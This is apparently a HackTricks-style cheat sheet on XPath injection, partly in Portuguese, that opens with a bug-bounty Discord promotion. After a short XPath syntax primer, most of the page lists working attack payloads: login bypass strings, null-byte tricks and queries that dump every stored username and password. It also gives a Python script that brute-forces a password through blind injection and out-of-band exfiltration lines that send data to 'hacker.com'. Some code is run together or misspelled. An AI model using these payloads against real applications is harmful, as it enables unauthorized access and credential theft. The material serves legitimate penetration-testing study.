Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!
Hacking Insights
Engage with content that delves into the thrill and challenges of hacking
Real-Time Hack News
Keep up-to-date with fast-paced hacking world through real-time news and insights
Latest Announcements
Stay informed with the newest bug bounties launching and crucial platform updates
Join us onDiscord and start collaborating with top hackers today!
Basic Syntax
Uma técnica de ataque conhecida como XPath Injection é utilizada para tirar proveito de aplicações que formam consultas XPath (XML Path Language) com base na entrada do usuário para consultar ou navegar em documentos XML.
Nodes Described
Expressões são usadas para selecionar vários nós em um documento XML. Essas expressões e suas descrições estão resumidas abaixo:
nodename: Todos os nós com o nome "nodename" são selecionados.
/: A seleção é feita a partir do nó raiz.
//: Nós que correspondem à seleção a partir do nó atual são selecionados, independentemente de sua localização no documento.
.: O nó atual é selecionado.
..: O pai do nó atual é selecionado.
@: Atributos são selecionados.
XPath Examples
Exemplos de expressões de caminho e seus resultados incluem:
bookstore: Todos os nós nomeados "bookstore" são selecionados.
/bookstore: O elemento raiz bookstore é selecionado. Nota-se que um caminho absoluto para um elemento é representado por um caminho que começa com uma barra (/).
bookstore/book: Todos os elementos book que são filhos de bookstore são selecionados.
//book: Todos os elementos book no documento são selecionados, independentemente de sua localização.
bookstore//book: Todos os elementos book que são descendentes do elemento bookstore são selecionados, não importando sua posição sob o elemento bookstore.
//@lang: Todos os atributos nomeados lang são selecionados.
Utilization of Predicates
Predicados são usados para refinar seleções:
/bookstore/book[1]: O primeiro elemento book filho do elemento bookstore é selecionado. Uma solução alternativa para versões do IE de 5 a 9, que indexam o primeiro nó como [0], é definir o SelectionLanguage como XPath através do JavaScript.
/bookstore/book[last()]: O último elemento book filho do elemento bookstore é selecionado.
/bookstore/book[last()-1]: O penúltimo elemento book filho do elemento bookstore é selecionado.
/bookstore/book[position()<3]: Os dois primeiros elementos book filhos do elemento bookstore são selecionados.
//title[@lang]: Todos os elementos title com um atributo lang são selecionados.
//title[@lang='en']: Todos os elementos title com um valor de atributo "lang" igual a "en" são selecionados.
/bookstore/book[price>35.00]: Todos os elementos book da bookstore com um preço maior que 35.00 são selecionados.
/bookstore/book[price>35.00]/title: Todos os elementos title dos elementos book da bookstore com um preço maior que 35.00 são selecionados.
Handling of Unknown Nodes
Curingas são empregados para corresponder a nós desconhecidos:
*: Corresponde a qualquer nó de elemento.
@*: Corresponde a qualquer nó de atributo.
node(): Corresponde a qualquer nó de qualquer tipo.
Mais exemplos incluem:
/bookstore/*: Seleciona todos os nós de elemento filho do elemento bookstore.
//*: Seleciona todos os elementos no documento.
//title[@*]: Seleciona todos os elementos title com pelo menos um atributo de qualquer tipo.
All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name
All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()
Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)
Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"
Identificar e roubar o esquema
andcount(/*)=1#rootandcount(/*[1]/*)=2#count(root) = 2 (a,c)andcount(/*[1]/*[1]/*)=1#count(a) = 1 (b)andcount(/*[1]/*[1]/*[1]/*)=0#count(b) = 0andcount(/*[1]/*[2]/*)=3#count(c) = 3 (d,e,f)andcount(/*[1]/*[2]/*[1]/*)=0#count(d) = 0andcount(/*[1]/*[2]/*[2]/*)=0#count(e) = 0andcount(/*[1]/*[2]/*[3]/*)=1#count(f) = 1 (g)andcount(/*[1]/*[2]/*[3]/[1]*)=0#count(g) = 0#The previous solutions are the representation of a schema like the following#(at this stage we don't know the name of the tags, but jus the schema)<root><a><b></b></a><c><d></d><e></e><f><h></h></f></c></root>andname(/*[1])="root"#Confirm the name of the first tag is "root"andsubstring(name(/*[1]/*[1]),1,1)="a"#First char of name of tag `<a>` is "a"and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)
#Stealing the schema via OOBdoc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
Bypass de Autenticação
Exemplo de consultas:
string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
OU bypass em usuário e senha (mesmo valor em ambos)
' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())
Select account
Select the account using the username and use one of the previous values in the password field
Abusando da injeção nula
Username: ' or 1]%00
Double OR no Nome de Usuário ou na Senha (é válido com apenas 1 campo vulnerável)
IMPORTANTE: Note que o "and" é a primeira operação realizada.
Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())
Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())
Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())
Extração de strings
A saída contém strings e o usuário pode manipular os valores para pesquisar:
/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users
Exploração Cega
Obter o comprimento de um valor e extraí-lo por comparações:
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''='#True if length equals 4' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''='#True is first equals "a"substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value
Exemplo em Python
import requests, stringflag =""l =0alphabet = string.ascii_letters + string.digits +"{}_()"for i inrange(30):r = requests.get("http://example.com?action=user&userid=2 and string-length(password)="+str(i))if ("TRUE_COND"in r.text):l = ibreakprint("[+] Password length: "+str(l))for i inrange(1, l +1):#print("[i] Looking for char number " + str(i))for al in alphabet:r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)if ("TRUE_COND"in r.text):flag += alprint("[+] Flag: "+ flag)break
doc(concat("http://hacker.com/oob/", RESULTS))doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))#Instead of doc() you can use the function doc-availabledoc-available(concat("http://hacker.com/oob/", RESULTS))#the doc available will respond true or false depending if the doc exists,#user not(doc-available(...)) to invert the result if you need to